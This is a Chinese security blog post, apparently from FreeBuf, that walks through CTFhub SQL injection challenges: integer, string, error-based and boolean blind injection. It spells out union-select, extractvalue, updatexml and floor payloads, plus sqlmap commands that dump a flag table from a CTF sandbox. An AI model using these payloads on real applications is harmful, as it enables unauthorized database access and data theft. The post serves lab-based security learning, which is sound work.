freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

CTFhub下的SQL注入
CNjuzi 2022-12-22 16:51:50 163252
所属地 宁夏

一,SQL整数型注入

A,解题过程

  1. 打开环境

1671698467_63a4182323762fa5eafa4.png!small?1671698468055

  1. 既然是整数型注入,那就按照提示输入一个1看看

1671698471_63a418274f9b68adc8c74.png!small?1671698472204

  1. 在输入框中输入2-1,输出还是1,证明此处有sql的整数型注入

1671698474_63a4182ac42b282279a8f.png!small?1671698475671

  1. 判断字段数,输入

1 order by 1,2

1671698482_63a41832da2adec68b8d2.png!small?1671698483758

1 order by 1,2,3

1671698492_63a4183c11f1c6cc686be.png!small?1671698492903

证明只有两个字段在其中

  1. 判断回显位置

-1 union select 1,2

1671698506_63a4184a0299ff742d9f4.png!small?1671698507059

测出回显位置在Data:处

  1. 知道注入点的位置后,开始手动爆库

-1 union select 1,database()

1671698513_63a41851c4bcb809f2ca4.png!small?1671698514636

知道当前所在数据库的名称是sqli

  1. 紧接着进行爆表

-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'

1671698521_63a41859281ca77d991f5.png!small?1671698522097

得知有两个表在其中,猜测flag在flag的表中

  1. 开始爆字段

-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='flag'

1671698527_63a4185f6abfde78ee96e.png!small?1671698528313

知道在flag表下有一个flag的字段

  1. 爆字段内容

-1 union select 1,group_concat(flag)from flag

1671698530_63a41862757ee2969abb5.png!small?1671698531328

成功获取flag

B.知识点

  1. 首先检查是否存在注入

1 and 1=1  回显正确

1 and 1=2  回显错误

基本可以判断注入类型为整数型注入

  1. 获取字段数

Order by n  //通过不断改变n的值来观察页面反应确定字段数

  1. 获取系统数据库库名

数据库名存放在information_schema数据库下schemata表schema_name字段中

Select n,n,schema_name from information_schema.schemata

  1. 获取当前数据库名

Select n,n,database()

  1. 获取数据库中的表

Select n,n,group_concat(table_name) from information_schema.tables where table_schema=database()

Select n,n,table_schema from information_schema.tables where table_schema=database() limit 0,1

  1. 获取表中的字段

Select n,n,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=’users’

  1. 获取各个字段值

假设已经获取表名user,且字段为username和password

Select n,n,group_concat(username,password) from users

二,字符型注入

A. 解题过程

  1. 打开环境

1671698613_63a418b5e2f170d55acc6.png!small?1671698614837

  1. 根据提示,输入1

1671698616_63a418b8c6b8517c5fb59.png!small?1671698617724

可以看到返回的sql语句是

select * from news where id='1'

  1. 输入 1’判断是否是单引号的字符型注入

1671698622_63a418bee6a6a904507d6.png!small?1671698624048

回显异常,证明注入点在单引号,现在尝试将后面的单引号注释掉

输入1’#

1671698626_63a418c257f3eeb676e23.png!small?1671698627463

成功回显,证明可以使用注释符将sql语句闭合

  1. 一般的在后续爆库爆表之前要先检测and和or是否被过滤,在此演示如何验证and和or没被过滤

输入 1’ and 1=1 #

1671698630_63a418c64dc9735be4ee6.png!small?1671698631323

回显正常

输入1’ and 1=2 #

1671698633_63a418c99ad705765c249.png!small?1671698634452

回显异常,证明and未被过滤

输入1’ or 1=1 #

1671698644_63a418d48e09172cb474f.png!small?1671698645444

回显正常

输入1’ or 1=2 #

1671698648_63a418d8eea98f3c80cd0.png!small?1671698649871

也回显正常,证明or被过滤。

  1. 判断回显点

-1’ union select 1,2 #

1671698662_63a418e6b257a4d5985b7.png!small?1671698663615

证明有两列

  1. 爆库

-1' union select 1,database()#

1671698668_63a418ec3cb0177449fca.png!small?1671698669074

  1. 爆表

-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

1671698674_63a418f262f5adb760e22.png!small?1671698675236

  1. 爆字段

-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag'#

1671698677_63a418f5beb573c719d57.png!small?1671698678701

  1. 爆字段内容

-1' union select 1,(select flag from flag)#

1671698687_63a418ff6dbc5f93a8757.png!small?1671698688252

成功爆出flag,解题成功

B.知识点

1.字符型注入要考虑到引号闭合和注释

1’ and 1=1 # (或者 --+)     返回正确

1’ and 1=2 # (或者 --+)     返回错误   

这可以证明此处的是字符型的注入。

字符型注入还有很多种类,这些内容在后续文章中会有概述的。

判断为字符型注入后,后续的爆库爆表都与整数型无异。在此不再赘述。

三,报错注入

A,解题过程

  1. 打开环境

1671698702_63a4190e75418505cb8b9.png!small?1671698703485

  1. 按照提示输入 1

1671698709_63a41915a0d6bc07b9f54.png!small?1671698710482

  1. 输入1’

1671698712_63a41918d1f8561874939.png!small?1671698713826

输入1’#

1671698715_63a4191be6f15ce0a6949.png!small?1671698716816

  1. 都提示错误,采取报错注入
  2. 首先爆库

1 and extractvalue(null,concat(0x7e,(database()),0x7e))

1671698725_63a41925dd6a2f1e65ea3.png!small?1671698726761

  1. 爆第一个表

1 and extractvalue(null,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e))

1671698729_63a419297a03aabbda937.png!small?1671698730335

运气好,第一个表就是flag的表

  1. 爆字段

1 and extractvalue(null,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='flag' limit 0,1),0x7e))

1671698733_63a4192d3e93ab4c1588c.png!small?1671698734119

  1. 爆字段的内容

1 and extractvalue(null,concat(0x7e,(select flag from flag limit 0,1),0x7e))

1671698738_63a4193241f8f2730862e.png!small?1671698739075

发现只爆出了部分的flag

ctfhub{9412f2b799fe4be20e67b88a

这样的话需要借助mid函数进行字符截取从而显示后面的内容

输入

1 and extractvalue(null,concat(0x7e,mid((select flag from flag),4),0x7e))

1671698755_63a41943c30f7336f4c76.png!small?1671698756648

得到全部的flag。

B. 知识点

  1. 当场景中仅仅将sql语句导入查询返回页面正确,没有返回点的时候,这个时候需要使用报错注入,用报错的语句进行回显。
  2. 报错注入主要依赖三种函数:

第一种:extractvalue()

里面使用select,不能使用union select 联合查询

Concat()函数:功能就是将多个字符串连接成一个字符串。

报错语句结构:

?id=1 and extractvalue(null,concat(0x7e,(sql语句),0x7e))

第二种:updatexml()

报错语句结构:

1 and updatexml(1,concat(0x7e,(sql语句),0x7e),1)

第三种:floor报错注入

报错语句结构:

?id=1 union select count(*),concat(database(),0x26,floor(rand(0)*2))x from information_schema.columns group by x

导致数据库报错,通过concat()函数将注入语句与floor(rand(0)*2)函数链接,实现将注入结果与报错信息链接回显的注入方式。

四,布尔盲注

A. 解题过程

  1. 首先了解布尔盲注的基本情况

布尔盲注只会返回True和False两种情况

  1. 输入1

1671698784_63a419602d421778b53ff.png!small?1671698784991

发现回显query_success

  1. 输入1’

1671698787_63a41963494e8662d908a.png!small?1671698788142

发现回显query_error

  1. 分析:

当回显success时,这时数据库查询结果为空,返回还是success

当回显error时,这是数据库查询结果为空或者查询语句出错时,回显error

B. SQLMAP的使用

  1. 这里使用sqlmap进行SQL注入,使用kali进行sqlmap。

sqlmap -u http://challenge-698506c43f808a13.sandbox.ctfhub.com:10800/?id=1 --dbs

1671698802_63a419725f228729b6271.png!small?1671698803805

1671698805_63a41975554fd32b388d6.png!small?1671698806459

扫出来四条数据,存在四个数据库

  1. 使用

sqlmap -u http://challenge-698506c43f808a13.sandbox.ctfhub.com:10800/?id=1 -D sqli --tables

进行查询sqli数据库下的表名

1671698809_63a4197976f04326621b6.png!small?1671698810664

1671698814_63a4197e48bdc225e0eb5.png!small?1671698815227

查询出来在sqli数据库下存在两个表,进行第三步爆字段

  1. 使用

sqlmap -u http://challenge-698506c43f808a13.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag --columns --dump

进行爆字段

1671698844_63a4199c723393d4155ca.png!small?1671698845473

1671698847_63a4199fe1c54b02d3cce.png!small?1671698848858

爆出flag.解题成功。

[还有其他不同类型的SQL注入,等稍后再写出。]

# 漏洞 # SQL注入 # CTF # 网络安全技术 # sql注入利用方式
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 CNjuzi 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
CNjuzi LV.5
欢迎关注公众号:HK安全小屋。公众号内定期更新网络安全方面的知识和心得!!
  • 18 文章数
  • 7 关注者
InfoSecWarrior CTF 2020: 01
2023-07-16
LAMPSecurity: CTF5
2023-03-28
LAMPSecurity: CTF4
2023-03-22
文章目录